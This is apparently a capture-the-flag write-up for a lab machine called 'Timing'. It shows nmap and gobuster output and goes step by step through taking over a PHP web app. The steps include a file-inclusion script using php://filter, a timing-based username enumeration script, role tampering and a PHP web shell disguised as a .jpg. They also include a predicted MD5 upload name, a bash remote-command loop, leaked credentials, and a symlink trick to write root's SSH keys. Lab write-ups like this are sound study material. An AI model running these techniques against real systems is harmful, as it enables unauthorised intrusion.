Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-09 19:30 IST
Nmap scan report for 10.10.11.135
Host is up (0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.30 seconds
Running Gobuster ->gobuster dir -u http://10.10.11.135 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -x php
/.php (Status: 403) [Size: 277]
/images (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/.html (Status: 403) [Size: 277]
/.html.php (Status: 403) [Size: 277]
/login.php (Status: 200) [Size: 5609]
/js (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/css (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]
/.htm (Status: 403) [Size: 277]
/.htm.php (Status: 403) [Size: 277]
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/logout.php (Status: 302) [Size: 0] [--> ./login.php]
/image.php (Status: 200) [Size: 0]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]
/header.php (Status: 302) [Size: 0] [--> ./login.php]
/footer.php (Status: 200) [Size: 3937]
/db_conn.php (Status: 200) [Size: 0]
Footer.php gives footer of the page.
Image.php gives a blank page. which looks like that image.php is accepting a parameter.
I ll use PHP filter to try to bypass this.
Script to automate it
import requests
import base64
while True:
i = input("> ")
url = f"http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource={i}"
r = requests.get(url)
decoded_bytes = base64.b64decode(r.text)
decoded_string = decoded_bytes.decode('utf-8')
print(decoded_string)
I ll get the source code of the application.
db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
The password did not work in ssh.
Login.php
The script makes a sleep of 1 second when we type a correct username in the login field.
function createTimeChannel()
{
sleep(1);
}
include "db_conn.php";
if (isset($_SESSION['userid'])){
header('Location: ./index.php');
die();
}
if (isset($_GET['login'])) {
$username = $_POST['user'];
$password = $_POST['password'];
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";
[--SNIP--]
I ll send a request as admin user and see if admin user is a valid user or not
We have a 1.2 seconds delay which is greater that 1 seconds which confirms admin is a valid user.
I ll create a script which ll enumerate valid users.
import time
import requests
url = 'http://10.10.11.135/login.php?login=true'
proxies = {'http':'http://127.0.0.1:8080'}
headers = {"Cookie":"PHPSESSID=jvdqir35pghnlt0dgaavpf7vhd"}
with open('/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt', 'r') as f:
for lines in f:
data = {"user":f"{lines.strip()}","password":"a"}
start_time = time.time()
r = requests.post(url,headers=headers,data=data,proxies=proxies)
end_time = time.time()
total_time = ((end_time - start_time) * 1000)
if total_time >= 1000:
print(lines)
scott is a false positive.
aaron is a valid user.
I was thinking to perform a password spray but trying some default password worked
aaron:aaron
Now I have an edit profile section.
It sends request to profile_update.php
Also in response we get password lol, and a role.
reading the source of profile_update.php
--snip
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
--snip
We can set a role, I ll set it to 1.
refreshing the page I get an admin panel.
Where I can upload images.
I ll take a look at upload.php
It uploads .jpg files.
The vulnerability is in image.php
because include is in the code, we can execute php code even in images.
revshell.jpg
<?php system($_REQUEST['cmd']); ?>
Before uploading I ll take a look at upload.php that how it is uploading the file on the server
The file should be a .jpg extension it will be uploaded in images/uploads.
The file name is being tampered so it cannot be guessed but we are hackers.
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
There is a mistake in the machines' authors code he placed $file_hash in quotes which makes it a string rather than a value in a variable. The time function uses the current time, We can get the current time as when we send a request to burp we can see the requests exact time. its appending _filename to the end
<?php
function is_safe_include($text)
{
$blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");
foreach ($blacklist as $item) {
if (strpos($text, $item) !== false) {
return false;
}
}
return substr($text, 0, 1) !== "/";
}
if (isset($_GET['img'])) {
if (is_safe_include($_GET['img'])) {
include($_GET['img']);
} else {
echo "Hacking attempt detected!";
}
}
> upload.php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
I ll upload my file.
I ll send it to repeater and then press send button.
I ll use php strtotime() to convert the time
➜ Timing php -a
Interactive shell
php > echo md5('$file_hash' . strtotime('Fri, 09 Feb 2024 20:21:20 GMT'));
8a71aea29ea0ecb52a695a6488854392
RCE
I was not able to get a reverse shell. There was some kind of firewall.
bash script ->
while true; do
read -p "> " input_data
curl -X POST "http://10.10.11.135/image.php?img=images/uploads/0161921840b27da4a81503b796eff8a4_rev.jpg" -d "cmd=$input_data"
done
➜ Timing bash script/rce.sh
> whoami
www-data
> pwd
/var/www/html
>
In /opt directory there was some zip file.
I copied it to the www directory so I can download it.cp /opt/source-files-backup.zip source-files-backup.zip
Downloaded the zip file -> 10.10.11.135/source-files-backup.zip
The zip file had .git files.
There were only two logs.
I made a diff between them ->
git diff e4e214696159a25c69812571c8214d2bf8736a3f 16de2698b5b122c93461298eab730d00273bd83e
I ll try to get a ssh shell using these creds.aaron:S3cr3t_unGu3ss4bl3_p422w0Rd
I am in
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar
I ll run it.
It downloaded hello in cwd
Hello is owned by root.
I ll make a symlink to /root/.ssh/authorized keys and upload my key using the sudo command and hope for the best that my authorized key is uploaded on the server.
I ll create a hello.pub on my machine using ssh-keygen.
I ll try to login using the keys.
I am in
Root